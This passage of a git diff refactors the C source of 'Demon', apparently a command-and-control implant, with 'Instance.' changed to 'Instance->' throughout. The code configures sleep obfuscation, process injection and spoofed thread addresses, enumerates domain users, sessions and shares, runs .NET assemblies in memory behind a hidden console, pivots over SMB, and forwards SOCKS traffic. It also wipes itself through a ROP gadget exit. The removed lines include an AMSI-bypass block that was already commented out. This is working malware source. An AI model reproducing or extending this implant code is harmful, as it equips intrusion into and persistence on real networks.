Instance->Dotnet->AppDomainName.Buffer, + Instance->Dotnet->NetVersion.Length, Instance->Dotnet->NetVersion.Buffer, AssemblyArgs.Length, AssemblyArgs.Buffer, AssemblyData.Length, AssemblyData.Buffer ) @@ -1797,7 +1797,7 @@ VOID CommandAssemblyListVersion( PPARSER Parser ) if ( RtMscoree() ) { - if ( Instance.Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&pClrMetaHost ) == S_OK ) + if ( Instance->Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&pClrMetaHost ) == S_OK ) { if ( ( pClrMetaHost )->lpVtbl->EnumerateInstalledRuntimes( pClrMetaHost, &pEnumClr ) == S_OK ) { @@ -1812,7 +1812,7 @@ VOID CommandAssemblyListVersion( PPARSER Parser ) pRunTimeInfo = ( PICLRRuntimeInfo ) UPTR; if ( pRunTimeInfo->lpVtbl->GetVersionString( pRunTimeInfo, NULL, &dwStringSize ) == HRESULT_FROM_WIN32( ERROR_INSUFFICIENT_BUFFER ) && dwStringSize > 0 ) { - LPVOID Version = Instance.Win32.LocalAlloc( LPTR, dwStringSize ); + LPVOID Version = Instance->Win32.LocalAlloc( LPTR, dwStringSize ); if ( pRunTimeInfo->lpVtbl->GetVersionString( pRunTimeInfo, Version, &dwStringSize ) == S_OK ) { @@ -1820,7 +1820,7 @@ VOID CommandAssemblyListVersion( PPARSER Parser ) PackageAddWString( Package, Version ); } - Instance.Win32.LocalFree( Version ); + Instance->Win32.LocalFree( Version ); Version = NULL; dwStringSize = 0; } @@ -1898,7 +1898,7 @@ VOID CommandConfig( PPARSER Parser ) if ( hLib ) { ThreadAddr = LdrFunctionAddr( hLib, HashStringA( Function ) ); if ( ThreadAddr ) { - Instance.Config.Implant.ThreadStartAddr = ThreadAddr + Offset; + Instance->Config.Implant.ThreadStartAddr = ThreadAddr + Offset; } else { PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_INVALID_FUNCTION ); @@ -1918,51 +1918,51 @@ VOID CommandConfig( PPARSER Parser ) case DEMON_CONFIG_IMPLANT_SLEEP_TECHNIQUE: { - Instance.Config.Implant.SleepMaskTechnique = ParserGetInt32( Parser ); - PRINTF( "Set sleep obfuscation technique to %d\n", Instance.Config.Implant.SleepMaskTechnique ) - PackageAddInt32( Package, Instance.Config.Implant.SleepMaskTechnique ); + Instance->Config.Implant.SleepMaskTechnique = ParserGetInt32( Parser ); + PRINTF( "Set sleep obfuscation technique to %d\n", Instance->Config.Implant.SleepMaskTechnique ) + PackageAddInt32( Package, Instance->Config.Implant.SleepMaskTechnique ); break; } case DEMON_CONFIG_IMPLANT_VERBOSE: { - Instance.Config.Implant.Verbose = ParserGetInt32( Parser ); - PackageAddInt32( Package, Instance.Config.Implant.Verbose ); + Instance->Config.Implant.Verbose = ParserGetInt32( Parser ); + PackageAddInt32( Package, Instance->Config.Implant.Verbose ); break; } case DEMON_CONFIG_IMPLANT_COFFEE_VEH: { - Instance.Config.Implant.CoffeeVeh = ParserGetInt32( Parser ); - PackageAddInt32( Package, Instance.Config.Implant.CoffeeVeh ); + Instance->Config.Implant.CoffeeVeh = ParserGetInt32( Parser ); + PackageAddInt32( Package, Instance->Config.Implant.CoffeeVeh ); break; } case DEMON_CONFIG_IMPLANT_COFFEE_THREADED: { - Instance.Config.Implant.CoffeeThreaded = ParserGetInt32( Parser ); - PackageAddInt32( Package, Instance.Config.Implant.CoffeeThreaded ); + Instance->Config.Implant.CoffeeThreaded = ParserGetInt32( Parser ); + PackageAddInt32( Package, Instance->Config.Implant.CoffeeThreaded ); break; } case DEMON_CONFIG_MEMORY_ALLOC: { - Instance.Config.Memory.Alloc = ParserGetInt32( Parser ); - PackageAddInt32( Package, Instance.Config.Memory.Alloc ); + Instance->Config.Memory.Alloc = ParserGetInt32( Parser ); + PackageAddInt32( Package, Instance->Config.Memory.Alloc ); break; } case DEMON_CONFIG_MEMORY_EXECUTE: { - Instance.Config.Memory.Execute = ParserGetInt32( Parser ); - PackageAddInt32( Package, Instance.Config.Memory.Execute ); + Instance->Config.Memory.Execute = ParserGetInt32( Parser ); + PackageAddInt32( Package, Instance->Config.Memory.Execute ); break; } case DEMON_CONFIG_INJECTION_TECHNIQUE: { - Instance.Config.Inject.Technique = ParserGetInt32( Parser ); - PackageAddInt32( Package, Instance.Config.Inject.Technique ); + Instance->Config.Inject.Technique = ParserGetInt32( Parser ); + PackageAddInt32( Package, Instance->Config.Inject.Technique ); break; } @@ -1992,7 +1992,7 @@ VOID CommandConfig( PPARSER Parser ) ThreadAddr = LdrFunctionAddr( hLib, HashStringA( Function ) ); if ( ThreadAddr ) { - Instance.Config.Inject.SpoofAddr = ThreadAddr + Offset; + Instance->Config.Inject.SpoofAddr = ThreadAddr + Offset; } else { PackageTransmitError( CALLBACK_ERROR_WIN32, ERROR_INVALID_FUNCTION ); } @@ -2013,19 +2013,19 @@ VOID CommandConfig( PPARSER Parser ) UINT32 Size = 0; PVOID Buffer = NULL; - if ( Instance.Config.Process.Spawn64 ) + if ( Instance->Config.Process.Spawn64 ) { - MemSet( Instance.Config.Process.Spawn64, 0, StringLengthW( Instance.Config.Process.Spawn64 ) * sizeof( WCHAR ) ); - Instance.Win32.LocalFree( Instance.Config.Process.Spawn64 ); - Instance.Config.Process.Spawn64 = NULL; + MemSet( Instance->Config.Process.Spawn64, 0, StringLengthW( Instance->Config.Process.Spawn64 ) * sizeof( WCHAR ) ); + Instance->Win32.LocalFree( Instance->Config.Process.Spawn64 ); + Instance->Config.Process.Spawn64 = NULL; } Buffer = ParserGetBytes( Parser, &Size ); - Instance.Config.Process.Spawn64 = Instance.Win32.LocalAlloc( LPTR, Size ); - MemCopy( Instance.Config.Process.Spawn64, Buffer, Size ); + Instance->Config.Process.Spawn64 = Instance->Win32.LocalAlloc( LPTR, Size ); + MemCopy( Instance->Config.Process.Spawn64, Buffer, Size ); - PRINTF( "Instance.Config.Process.Spawn64 => %ls\n", Instance.Config.Process.Spawn64 ); - PackageAddWString( Package, Instance.Config.Process.Spawn64 ); + PRINTF( "Instance->Config.Process.Spawn64 => %ls\n", Instance->Config.Process.Spawn64 ); + PackageAddWString( Package, Instance->Config.Process.Spawn64 ); break; } @@ -2035,39 +2035,39 @@ VOID CommandConfig( PPARSER Parser ) UINT32 Size = 0; PVOID Buffer = NULL; - if ( Instance.Config.Process.Spawn86 ) + if ( Instance->Config.Process.Spawn86 ) { - MemSet( Instance.Config.Process.Spawn86, 0, StringLengthW( Instance.Config.Process.Spawn86 ) * sizeof( WCHAR ) ); - Instance.Win32.LocalFree( Instance.Config.Process.Spawn86 ); - Instance.Config.Process.Spawn86 = NULL; + MemSet( Instance->Config.Process.Spawn86, 0, StringLengthW( Instance->Config.Process.Spawn86 ) * sizeof( WCHAR ) ); + Instance->Win32.LocalFree( Instance->Config.Process.Spawn86 ); + Instance->Config.Process.Spawn86 = NULL; } Buffer = ParserGetBytes( Parser, &Size ); - Instance.Config.Process.Spawn86 = Instance.Win32.LocalAlloc( LPTR, Size ); - MemCopy( Instance.Config.Process.Spawn86, Buffer, Size ); + Instance->Config.Process.Spawn86 = Instance->Win32.LocalAlloc( LPTR, Size ); + MemCopy( Instance->Config.Process.Spawn86, Buffer, Size ); - PRINTF( "Instance.Config.Process.Spawn86 => %ls\n", Instance.Config.Process.Spawn86 ); - PackageAddWString( Package, Instance.Config.Process.Spawn86 ); + PRINTF( "Instance->Config.Process.Spawn86 => %ls\n", Instance->Config.Process.Spawn86 ); + PackageAddWString( Package, Instance->Config.Process.Spawn86 ); break; } case DEMON_CONFIG_KILLDATE: { - Instance.Config.Transport.KillDate = ParserGetInt64( Parser ); + Instance->Config.Transport.KillDate = ParserGetInt64( Parser ); - PRINTF( "Instance.Config.Transport.KillDate => %d\n", Instance.Config.Transport.KillDate ); - PackageAddInt64( Package, Instance.Config.Transport.KillDate ); + PRINTF( "Instance->Config.Transport.KillDate => %d\n", Instance->Config.Transport.KillDate ); + PackageAddInt64( Package, Instance->Config.Transport.KillDate ); break; } case DEMON_CONFIG_WORKINGHOURS: { - Instance.Config.Transport.WorkingHours = ParserGetInt32( Parser ); + Instance->Config.Transport.WorkingHours = ParserGetInt32( Parser ); - PRINTF( "Instance.Config.Transport.WorkingHours => %d\n", Instance.Config.Transport.WorkingHours ); - PackageAddInt32( Package, Instance.Config.Transport.WorkingHours ); + PRINTF( "Instance->Config.Transport.WorkingHours => %d\n", Instance->Config.Transport.WorkingHours ); + PackageAddInt32( Package, Instance->Config.Transport.WorkingHours ); break; } @@ -2122,11 +2122,11 @@ VOID CommandNet( PPARSER Parser ) LPSTR Domain = NULL; DWORD Length = 0; - if ( ! Instance.Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &Length ) ) + if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, NULL, &Length ) ) { - if ( ( Domain = Instance.Win32.LocalAlloc( LPTR, Length ) ) ) + if ( ( Domain = Instance->Win32.LocalAlloc( LPTR, Length ) ) ) { - if ( ! Instance.Win32.GetComputerNameExA( ComputerNameDnsDomain, Domain, &Length ) ) + if ( ! Instance->Win32.GetComputerNameExA( ComputerNameDnsDomain, Domain, &Length ) ) { PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); goto DOMAIN_CLEANUP; @@ -2170,7 +2170,7 @@ VOID CommandNet( PPARSER Parser ) UserNameSize = 0; do { - NetStatus = Instance.Win32.NetWkstaUserEnum( ServerName, dwLevel, (LPBYTE*)&UserInfo, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle ); + NetStatus = Instance->Win32.NetWkstaUserEnum( ServerName, dwLevel, (LPBYTE*)&UserInfo, MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { for ( INT i = 0; ( i < dwEntriesRead ); i++ ) @@ -2183,7 +2183,7 @@ VOID CommandNet( PPARSER Parser ) } else { - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NetStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NetStatus ) ); PRINTF( "NetWkstaUserEnum: Failed [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); @@ -2192,20 +2192,20 @@ VOID CommandNet( PPARSER Parser ) if ( UserInfo ) { - Instance.Win32.NetApiBufferFree( UserInfo ); + Instance->Win32.NetApiBufferFree( UserInfo ); UserInfo = NULL; } } while ( NetStatus == ERROR_MORE_DATA ); if ( UserInfo != NULL ) - Instance.Win32.NetApiBufferFree( UserInfo ); + Instance->Win32.NetApiBufferFree( UserInfo ); break; CLEANUP: if ( UserInfo != NULL ) - Instance.Win32.NetApiBufferFree( UserInfo ); + Instance->Win32.NetApiBufferFree( UserInfo ); PackageDestroy( Package ); Package = NULL; return; @@ -2230,7 +2230,7 @@ VOID CommandNet( PPARSER Parser ) UserNameSize = 0; do { - NetStatus = Instance.Win32.NetSessionEnum( ServerName, NULL, NULL, 10, (LPBYTE*)&SessionInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, &ResumeHandle ); + NetStatus = Instance->Win32.NetSessionEnum( ServerName, NULL, NULL, 10, (LPBYTE*)&SessionInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, &ResumeHandle ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { @@ -2254,20 +2254,20 @@ VOID CommandNet( PPARSER Parser ) if ( SessionInfo ) { - Instance.Win32.NetApiBufferFree( SessionInfo ); + Instance->Win32.NetApiBufferFree( SessionInfo ); SessionInfo = NULL; } } while ( NetStatus == ERROR_MORE_DATA ); if ( SessionInfo ) - Instance.Win32.NetApiBufferFree( SessionInfo ); + Instance->Win32.NetApiBufferFree( SessionInfo ); break; SESSION_CLEANUP: if ( SessionInfo ) - Instance.Win32.NetApiBufferFree( SessionInfo ); + Instance->Win32.NetApiBufferFree( SessionInfo ); PackageDestroy( Package ); Package = NULL; return; @@ -2302,7 +2302,7 @@ VOID CommandNet( PPARSER Parser ) PackageAddWString( Package, ServerName ); do { - NetStatus = Instance.Win32.NetShareEnum( ServerName, 502, (LPBYTE*)&ShareInfo, MAX_PREFERRED_LENGTH, &Entries, &TotalEntries, &Resume ); + NetStatus = Instance->Win32.NetShareEnum( ServerName, 502, (LPBYTE*)&ShareInfo, MAX_PREFERRED_LENGTH, &Entries, &TotalEntries, &Resume ); if( ( NetStatus == ERROR_SUCCESS ) || ( NetStatus == ERROR_MORE_DATA ) ) { @@ -2316,7 +2316,7 @@ VOID CommandNet( PPARSER Parser ) PackageAddInt32( Package, ShareInfo[i].shi502_permissions ); } - Instance.Win32.NetApiBufferFree( ShareInfo ); + Instance->Win32.NetApiBufferFree( ShareInfo ); ShareInfo = NULL; } else @@ -2343,7 +2343,7 @@ VOID CommandNet( PPARSER Parser ) PRINTF( "ServerName => %ls\n", ServerName ); - NetStatus = Instance.Win32.NetLocalGroupEnum( ServerName, 1, (LPBYTE*)&GroupInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, NULL ); + NetStatus = Instance->Win32.NetLocalGroupEnum( ServerName, 1, (LPBYTE*)&GroupInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, NULL ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { PUTS( "NetLocalGroupEnum => Success" ) @@ -2355,7 +2355,7 @@ VOID CommandNet( PPARSER Parser ) PackageAddWString( Package, GroupInfo[ i ].lgrpi1_comment ); } - Instance.Win32.NetApiBufferFree( GroupInfo ); + Instance->Win32.NetApiBufferFree( GroupInfo ); GroupInfo = NULL; } } @@ -2377,7 +2377,7 @@ VOID CommandNet( PPARSER Parser ) ServerName = ParserGetWString( Parser, &ServerSize ); PackageAddWString( Package, ServerName ); - NetStatus = Instance.Win32.NetGroupEnum( ServerName, 1, (LPBYTE*)&GroupInfo, -1, &EntriesRead, &TotalEntries, NULL ); + NetStatus = Instance->Win32.NetGroupEnum( ServerName, 1, (LPBYTE*)&GroupInfo, -1, &EntriesRead, &TotalEntries, NULL ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { if ( GroupInfo ) @@ -2389,7 +2389,7 @@ VOID CommandNet( PPARSER Parser ) } } - Instance.Win32.NetApiBufferFree( GroupInfo ); + Instance->Win32.NetApiBufferFree( GroupInfo ); GroupInfo = NULL; } else @@ -2400,7 +2400,7 @@ VOID CommandNet( PPARSER Parser ) if ( GroupInfo ) { - Instance.Win32.NetApiBufferFree( GroupInfo ); + Instance->Win32.NetApiBufferFree( GroupInfo ); GroupInfo = NULL; } @@ -2422,7 +2422,7 @@ VOID CommandNet( PPARSER Parser ) ServerName = ParserGetWString( Parser, &ServerSize ); PackageAddWString( Package, ServerName ); - NetStatus = Instance.Win32.NetUserEnum( ServerName, 0, 0, (LPBYTE*)&UserInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, &Resume ); + NetStatus = Instance->Win32.NetUserEnum( ServerName, 0, 0, (LPBYTE*)&UserInfo, MAX_PREFERRED_LENGTH, &EntriesRead, &TotalEntries, &Resume ); if ( ( NetStatus == NERR_Success ) || ( NetStatus == ERROR_MORE_DATA ) ) { for ( DWORD i = 0; i < EntriesRead; i++ ) @@ -2436,7 +2436,7 @@ VOID CommandNet( PPARSER Parser ) if ( UserInfo ) { - Instance.Win32.NetApiBufferFree( UserInfo ); + Instance->Win32.NetApiBufferFree( UserInfo ); UserInfo = NULL; } } @@ -2473,7 +2473,7 @@ VOID CommandPivot( PPARSER Parser ) case DEMON_PIVOT_LIST: { PUTS( "DEMON_PIVOT_LIST" ) - PPIVOT_DATA TempList = Instance.SmbPivots; + PPIVOT_DATA TempList = Instance->SmbPivots; do { @@ -2510,11 +2510,11 @@ VOID CommandPivot( PPARSER Parser ) PackageAddBytes( Package, Output, BytesSize ); MemSet( Output, 0, BytesSize ); - Instance.Win32.LocalFree( Output ); + Instance->Win32.LocalFree( Output ); Output = NULL; #ifdef DEBUG - PPIVOT_DATA TempList = Instance.SmbPivots; + PPIVOT_DATA TempList = Instance->SmbPivots; PUTS( "Smb Pivots : [ " ); do { @@ -2557,7 +2557,7 @@ VOID CommandPivot( PPARSER Parser ) UINT32 DemonId = ParserGetInt32( Parser ); BUFFER Data = { 0 }; - PPIVOT_DATA TempList = Instance.SmbPivots; + PPIVOT_DATA TempList = Instance->SmbPivots; PPIVOT_DATA PivotData = NULL; Data.Buffer = ParserGetBytes( Parser, &Data.Length ); @@ -2614,7 +2614,7 @@ VOID CommandTransfer( PPARSER Parser ) Package = PackageCreate( DEMON_COMMAND_TRANSFER ); Command = ParserGetInt32( Parser ); - Download = Instance.Downloads; + Download = Instance->Downloads; PackageAddInt32( Package, Command ); @@ -2784,7 +2784,7 @@ VOID CommandSocket( PPARSER Parser ) case SOCKET_COMMAND_RPORTFWD_LIST: PUTS( "Socket::RPortFwdList" ) { - Socket = Instance.Sockets; + Socket = Instance->Sockets; for ( ;; ) { @@ -2820,7 +2820,7 @@ VOID CommandSocket( PPARSER Parser ) DWORD SocketID = 0; SocketID = ParserGetInt32( Parser ); - Socket = Instance.Sockets; + Socket = Instance->Sockets; for ( ;; ) { @@ -2848,7 +2848,7 @@ VOID CommandSocket( PPARSER Parser ) case SOCKET_COMMAND_RPORTFWD_CLEAR: PUTS( "Socket::RPortFwdClear" ) { - Socket = Instance.Sockets; + Socket = Instance->Sockets; for ( ;; ) { @@ -2886,7 +2886,7 @@ VOID CommandSocket( PPARSER Parser ) Data.Buffer = ParserGetBytes( Parser, &Data.Length ); /* get Sockets list */ - Socket = Instance.Sockets; + Socket = Instance->Sockets; for ( ;; ) { @@ -2906,14 +2906,14 @@ VOID CommandSocket( PPARSER Parser ) Type = Socket->Type; /* write the data to the socket */ - if ( Instance.Win32.send( Socket->Socket, Data.Buffer, Data.Length, 0 ) != SOCKET_ERROR ) + if ( Instance->Win32.send( Socket->Socket, Data.Buffer, Data.Length, 0 ) != SOCKET_ERROR ) { PRINTF( "Sent 0x%x bytes to Socket %x\n", Data.Length, SocketID ) Success = TRUE; } else { - PRINTF( "Sending 0x%x bytes to Socket %x failed with %d\n", Data.Length, SocketID, Instance.Win32.WSAGetLastError() ); + PRINTF( "Sending 0x%x bytes to Socket %x failed with %d\n", Data.Length, SocketID, Instance->Win32.WSAGetLastError() ); } break; @@ -2934,7 +2934,7 @@ VOID CommandSocket( PPARSER Parser ) PackageAddInt32( Package, SocketID ); PackageAddInt32( Package, Type ); PackageAddInt32( Package, FALSE ); - PackageAddInt32( Package, Instance.Win32.WSAGetLastError() ); + PackageAddInt32( Package, Instance->Win32.WSAGetLastError() ); } } @@ -2971,7 +2971,7 @@ VOID CommandSocket( PPARSER Parser ) // DOMAINNAME // make sure there is a nullbyte at the end of the domain - Domain = Instance.Win32.LocalAlloc( LPTR, HostIpSize + 1 ); + Domain = Instance->Win32.LocalAlloc( LPTR, HostIpSize + 1 ); MemCopy( Domain, HostIp, HostIpSize ); IPv4 = DnsQueryIPv4( (LPSTR)Domain ); @@ -2983,12 +2983,12 @@ VOID CommandSocket( PPARSER Parser ) UseIpv4 = FALSE; } - Instance.Win32.LocalFree( Domain ); + Instance->Win32.LocalFree( Domain ); } else if ( ATYP == 4 ) { // IPv6 - IPv6 = Instance.Win32.LocalAlloc( LPTR, 16 ); + IPv6 = Instance->Win32.LocalAlloc( LPTR, 16 ); MemCopy( IPv6, HostIp, 16 ); UseIpv4 = FALSE; } @@ -3025,7 +3025,7 @@ VOID CommandSocket( PPARSER Parser ) if ( IPv6 ) { - Instance.Win32.LocalFree( IPv6 ); + Instance->Win32.LocalFree( IPv6 ); IPv6 = NULL; } @@ -3042,7 +3042,7 @@ VOID CommandSocket( PPARSER Parser ) PRINTF( "SocketID: %x\n", SocketID ); /* get Sockets list */ - Socket = Instance.Sockets; + Socket = Instance->Sockets; for ( ;; ) { @@ -3106,7 +3106,7 @@ VOID CommandKerberos( PackageAddInt32( Package, luid->LowPart ); MemSet( luid, 0, sizeof( LUID ) ); - Instance.Win32.LocalFree( luid ); + Instance->Win32.LocalFree( luid ); luid = NULL; } @@ -3262,7 +3262,7 @@ VOID CommandMemFile( PPARSER Parser ) BOOL InWorkingHours( ) { SYSTEMTIME SystemTime = { 0 }; - UINT32 WorkingHours = Instance.Config.Transport.WorkingHours; + UINT32 WorkingHours = Instance->Config.Transport.WorkingHours; WORD StartHour = 0; WORD StartMinute = 0; WORD EndHour = 0; @@ -3277,7 +3277,7 @@ BOOL InWorkingHours( ) EndHour = ( WorkingHours >> 6 ) & 0b011111; EndMinute = ( WorkingHours >> 0 ) & 0b111111; - Instance.Win32.GetLocalTime(&SystemTime); + Instance->Win32.GetLocalTime(&SystemTime); if ( SystemTime.wHour < StartHour || SystemTime.wHour > EndHour ) return FALSE; @@ -3293,7 +3293,7 @@ BOOL InWorkingHours( ) BOOL ReachedKillDate() { - return Instance.Config.Transport.KillDate && GetSystemFileTime() >= Instance.Config.Transport.KillDate; + return Instance->Config.Transport.KillDate && GetSystemFileTime() >= Instance->Config.Transport.KillDate; } VOID KillDate( ) @@ -3322,17 +3322,17 @@ VOID CommandExit( PPARSER Parser ) CONTEXT RopExit = { 0 }; LPVOID ImageBase = NULL; SIZE_T ImageSize = 0; - PJOB_DATA JobList = Instance.Jobs; + PJOB_DATA JobList = Instance->Jobs; DWORD JobID = 0; - PSOCKET_DATA SocketList = Instance.Sockets; + PSOCKET_DATA SocketList = Instance->Sockets; PSOCKET_DATA SocketEntry = NULL; - PDOWNLOAD_DATA DownloadList = Instance.Downloads; + PDOWNLOAD_DATA DownloadList = Instance->Downloads; PDOWNLOAD_DATA DownloadEntry = NULL; - PMEM_FILE MemFileList = Instance.MemFiles; + PMEM_FILE MemFileList = Instance->MemFiles; PMEM_FILE MemFileEntry = NULL; - PPIVOT_DATA SmbPivotList = Instance.SmbPivots; + PPIVOT_DATA SmbPivotList = Instance->SmbPivots; PPIVOT_DATA SmbPivotEntry = NULL; - PCOFFEE_KEY_VALUE KeyValueList = Instance.CoffeKeyValueStore; + PCOFFEE_KEY_VALUE KeyValueList = Instance->CoffeKeyValueStore; PCOFFEE_KEY_VALUE KeyValueEntry = NULL; if ( Parser ) @@ -3370,7 +3370,7 @@ VOID CommandExit( PPARSER Parser ) if ( SocketEntry->Socket ) { - Instance.Win32.closesocket( SocketEntry->Socket ); + Instance->Win32.closesocket( SocketEntry->Socket ); SocketEntry->Socket = 0; } @@ -3404,15 +3404,15 @@ VOID CommandExit( PPARSER Parser ) } // free the DownloadChunk buffer - if ( Instance.DownloadChunk.Buffer ) + if ( Instance->DownloadChunk.Buffer ) { - MmHeapFree( Instance.DownloadChunk.Buffer ); - Instance.DownloadChunk.Buffer = NULL; - Instance.DownloadChunk.Length = 0; + MmHeapFree( Instance->DownloadChunk.Buffer ); + Instance->DownloadChunk.Buffer = NULL; + Instance->DownloadChunk.Length = 0; } #ifdef TRANSPORT_HTTP - DATA_FREE( Instance.ProxyForUrl, Instance.SizeOfProxyForUrl ); + DATA_FREE( Instance->ProxyForUrl, Instance->SizeOfProxyForUrl ); #endif // disconnect from all smb pivots @@ -3448,14 +3448,14 @@ VOID CommandExit( PPARSER Parser ) TokenClear(); // terminate the use of the Winsock 2 DLL (Ws2_32.dll) - if ( Instance.WSAWasInitialised ) { - Instance.Win32.WSACleanup(); + if ( Instance->WSAWasInitialised ) { + Instance->Win32.WSACleanup(); } #if TRANSPORT_HTTP // close the HTTP session - if ( Instance.hHttpSession ) { - Instance.Win32.WinHttpCloseHandle( Instance.hHttpSession ); + if ( Instance->hHttpSession ) { + Instance->Win32.WinHttpCloseHandle( Instance->hHttpSession ); } #endif @@ -3467,13 +3467,13 @@ VOID CommandExit( PPARSER Parser ) * Clear memory by using a gadgets that prepares and executes movsb */ - ImageBase = Instance.Session.ModuleBase; + ImageBase = Instance->Session.ModuleBase; ImageSize = NULL; RopExit.ContextFlags = CONTEXT_FULL; - Instance.Win32.RtlCaptureContext( &RopExit ); + Instance->Win32.RtlCaptureContext( &RopExit ); - RopExit.Rip = U_PTR( Instance.Win32.NtFreeVirtualMemory ); + RopExit.Rip = U_PTR( Instance->Win32.NtFreeVirtualMemory ); RopExit.Rsp = U_PTR( ( RopExit.Rsp &~ ( 0x1000 - 1 ) ) - 0x1000 ); RopExit.Rcx = U_PTR( NtCurrentProcess() ); RopExit.Rdx = U_PTR( &ImageBase ); @@ -3481,23 +3481,23 @@ VOID CommandExit( PPARSER Parser ) RopExit.R9 = U_PTR( MEM_RELEASE ); if ( ExitMethod == 1 ) - *( ULONG_PTR volatile * ) ( RopExit.Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance.Win32.RtlExitUserThread ); + *( ULONG_PTR volatile * ) ( RopExit.Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.RtlExitUserThread ); else if ( ExitMethod == 2 ) - *( ULONG_PTR volatile * ) ( RopExit.Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance.Win32.RtlExitUserProcess ); + *( ULONG_PTR volatile * ) ( RopExit.Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.RtlExitUserProcess ); RopExit.ContextFlags = CONTEXT_FULL; - Instance.Win32.NtContinue( &RopExit, FALSE ); + Instance->Win32.NtContinue( &RopExit, FALSE ); #else // TODO: cleanup memory if ( ExitMethod == 1 ) - Instance.Win32.RtlExitUserThread( STATUS_SUCCESS ); + Instance->Win32.RtlExitUserThread( STATUS_SUCCESS ); else if ( ExitMethod == 2 ) - Instance.Win32.RtlExitUserProcess( STATUS_SUCCESS ); + Instance->Win32.RtlExitUserProcess( STATUS_SUCCESS ); #endif } diff --git a/payloads/Demon/src/core/Dotnet.c b/payloads/Demon/src/core/Dotnet.c index 6ddd84b..fa7eafe 100644 --- a/payloads/Demon/src/core/Dotnet.c +++ b/payloads/Demon/src/core/Dotnet.c @@ -3,6 +3,7 @@ #include #include #include +#include #define PIPE_BUFFER 0x10000 * 5 @@ -33,8 +34,8 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) return FALSE; /* Create a named pipe for our output. try with anon pipes at some point. */ - Instance.Dotnet->Pipe = Instance.Win32.CreateNamedPipeW( - Instance.Dotnet->PipeName.Buffer, + Instance->Dotnet->Pipe = Instance->Win32.CreateNamedPipeW( + Instance->Dotnet->PipeName.Buffer, PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, PIPE_TYPE_MESSAGE, PIPE_UNLIMITED_INSTANCES, @@ -43,7 +44,7 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) NULL ); - if ( ! Instance.Dotnet->Pipe ) + if ( ! Instance->Dotnet->Pipe ) { PRINTF( "CreateNamedPipeW Failed: Error[%d]\n", NtGetLastError() ) PACKAGE_ERROR_WIN32; @@ -51,7 +52,7 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) return FALSE; } - if ( ! ( Instance.Dotnet->File = Instance.Win32.CreateFileW( Instance.Dotnet->PipeName.Buffer, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) ) ) + if ( ! ( Instance->Dotnet->File = Instance->Win32.CreateFileW( Instance->Dotnet->PipeName.Buffer, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ) ) ) { PRINTF( "CreateFileW Failed: Error[%d]\n", NtGetLastError() ) PACKAGE_ERROR_WIN32; @@ -59,60 +60,41 @@ BOOL DotnetExecute( BUFFER Assembly, BUFFER Arguments ) return FALSE; } - if ( ! Instance.Win32.GetConsoleWindow( ) ) + if ( ! Instance->Win32.GetConsoleWindow( ) ) { HWND wnd = NULL; - Instance.Win32.AllocConsole( ); + Instance->Win32.AllocConsole( ); - if ( ( wnd = Instance.Win32.GetConsoleWindow( ) ) ) - Instance.Win32.ShowWindow( wnd, SW_HIDE ); + if ( ( wnd = Instance->Win32.GetConsoleWindow( ) ) ) + Instance->Win32.ShowWindow( wnd, SW_HIDE ); } - // Hosting CLR - if ( ! ClrCreateInstance( Instance.Dotnet->NetVersion.Buffer, &Instance.Dotnet->MetaHost, &Instance.Dotnet->ClrRuntimeInfo, &Instance.Dotnet->ICorRuntimeHost ) ) - { + // + // hosting common language runtime + // + if ( ! ClrCreateInstance( + Instance->Dotnet->NetVersion.Buffer, + & Instance->Dotnet->MetaHost, + & Instance->Dotnet->ClrRuntimeInfo, + & Instance->Dotnet->ICorRuntimeHost + ) ) { PUTS( "Couldn't start CLR" ) return FALSE; } - /* TODO: Use Hardware breakpoints and the hardware breakpoint engine - * written by rad9800 (https://github.com/rad9800/hwbp4mw) */ - /* if ( Instance.Session.OSVersion > WIN_VERSION_10 ) - { - PUTS( "Try to patch amsi" ) - PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance.Dotnet->RequestID ); - PackageAddInt32( PackageInfo, DOTNET_INFO_AMSI_PATCHED ); - if ( AmsiPatched == FALSE ) - { - if ( BypassPatchAMSI( ) == TRUE ) - { - PUTS("[+] Successful patched AMSI") - AmsiPatched = TRUE; - PackageAddInt32( PackageInfo, 0 ); - } else { - PUTS("[-] Something went wrong") - PackageAddInt32( PackageInfo, 1 ); - } - 